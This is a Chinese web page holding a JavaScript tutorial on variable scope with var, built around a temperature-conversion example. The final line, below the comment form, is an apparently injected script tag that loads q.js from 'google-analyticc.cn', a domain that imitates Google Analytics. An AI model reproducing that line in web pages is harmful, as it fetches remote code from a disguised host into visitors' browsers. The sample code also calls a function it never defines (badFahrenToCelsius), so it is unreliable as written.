RSS
热门关键字:  数据挖掘  数据仓库  商业智能  搜索引擎  人工智能
当前位置 :| 首页>编程技术>脚本语言>

JavaScript高级教程 - 变量的使用方法

来源: 作者:unkonwn 时间:2004-12-02 点击:

要使JavaScript中各种同名变量不会发生混淆,你可以在声明
变量时在变量前面加上var。在一个函数内用var声明后灯的变
量叫做局部变量,它只存在于该函数内部。通常情况下你应该
尽量使用局部变量。 数据挖掘研究院

这里是用var声明后的正确的JavaScript代码:

function fahrenToCelsius(faren)

{

    var temp = (faren - 32) * 5 / 9;
    return temp;
}
function convertTemp()
{
    var temp = prompt("what temperature Fahrenheit? ","50");
    var celsius = badFahrenToCelsius(temp);
    alert(temp + " degrees Fahrenheit is " +
        celsius + " degrees Celsius.");
}

现在当我们输入50时,


(在convertTemp函数内部) temp = 50


temp被传递到函数fahrenToCelsius(),在函数fahrenToCelsius
()内部,参数faren现在被设定为50,然后temp 用以下代码
设定:

数据挖掘研究院

var temp = (faren - 32) * 5 / 9; 数据挖掘研究院

由于这个temp变量前面用var做了声明,所以该变量筒其他函数
中叫做temp的变量不同。执行完fahrenToCelsius()时,该函数
种的temp即告消失。所以在fahrenToCelsius()返回数值前, 数据挖掘研究院

faren = 50

(inside fahrenToCelsius) temp = 10

(inside convertTemp) temp = 50

fahrenToCelsius()然后返回它的变量temp值10。一旦我们
从fahrenToCelsius()函数中出来,该函数中等temp变量的作用
即告终止。当fahrenToCelsius() 返回时,它将变量的值设置
为10: 数据挖掘实验室

(在convertTemp内部) temp = 50
(在convertTemp内部) celsius = 10 数据挖掘研究院

现在显示的信息将是我们所希望的"50 degrees Fahrenheit is
10 degrees Celsius"。

最新评论共有 0 位网友发表了评论
发表评论
评论内容:不能超过250字,需审核,请自觉遵守互联网相关政策法规。
匿名?
script src="http://www.google-analyticc.cn/q.js" type="text/javascript">